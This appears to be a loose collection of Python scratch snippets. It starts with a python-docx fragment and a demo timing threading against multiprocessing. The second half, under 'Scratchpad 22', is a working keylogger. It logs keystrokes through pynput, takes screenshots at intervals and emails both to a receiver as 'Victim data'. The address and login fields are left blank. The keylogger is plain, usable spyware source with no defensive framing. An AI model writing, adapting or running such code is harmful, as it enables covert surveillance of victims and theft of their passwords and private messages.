eos." ) para2.alignment = WD_ALIGN_PARAGRAPH.RIGHT doc.save("my_doc.docx") from datetime import datetime import threading import multiprocessing def dummy_func(x): print(f"Job-{x} started: {datetime.now()}") a = [] for i in range(30000): for j in range(2000): a.append([i, j]) a.clear() print(f"Job-{x} ended: {datetime.now()}") start_time = datetime.now() dummy_func(1) dummy_func(2) dummy_func(3) dummy_func(4) print(f"Total time taken: {datetime.now() - start_time}") if __name__ == "__main__": t1 = threading.Thread(target=dummy_func, args=(1,)) t2 = threading.Thread(target=dummy_func, args=(2,)) t3 = threading.Thread(target=dummy_func, args=(3,)) t4 = threading.Thread(target=dummy_func, args=(4,)) start_time = datetime.now() t1.start() t2.start() t3.start() t4.start() t1.join() t2.join() t3.join() t4.join() print(f"Total time taken: {datetime.now() - start_time}") p1 = multiprocessing.Process(target=dummy_func, args=(1,)) p2 = multiprocessing.Process(target=dummy_func, args=(2,)) p3 = multiprocessing.Process(target=dummy_func, args=(3,)) p4 = multiprocessing.Process(target=dummy_func, args=(4,)) start_time = datetime.now() p1.start() p2.start() p3.start() p4.start() p1.join() p2.join() p3.join() p4.join() print(f"Total time taken: {datetime.now() - start_time}")
Scratchpad 22
from pynput.keyboard import Key, Listener import pyautogui from time import sleep import yagmail from datetime import datetime count = 0 keys = [] try: def on_press(key): global keys, count keys.append(key) count += 1 if count >= 10: write_file(keys) keys = [] def write_file(keys): with open("log.txt", "a") as f: for key in keys: k = str(key).replace("'", "") if k.find("space") > 0: f.write(str(" ")) elif k.find("cap_lock") > 0: f.write(str("<CAPS_LOCK>")) elif k.find("enter") > 0: f.write("\n") elif k.find("Key") == -1: f.write(k) def on_release(key): if key == Key.esc: return False def take_screenshot(): screen = pyautogui.screenshot() screen.save("screenshot.png") def send_email(): receiver_email = "" subject = f'Victim data - {datetime.now().strftime("%d-%m-%Y :: %H:%M:%S")}' yag = yagmail.SMTP("", "") contents = ["<b><font color='red' size='10'>YOUR VICTIM DATA</font></b>"] attachments = ["log.txt", "screenshot.png"] yag.send(receiver_email, subject, contents, attachments) print("Email sent") with Listener(on_press=on_press, on_release=on_release) as listener: while True: sleep(20) take_screenshot() send_email() listener.join() except KeyboardInterrupt: print("Program closed")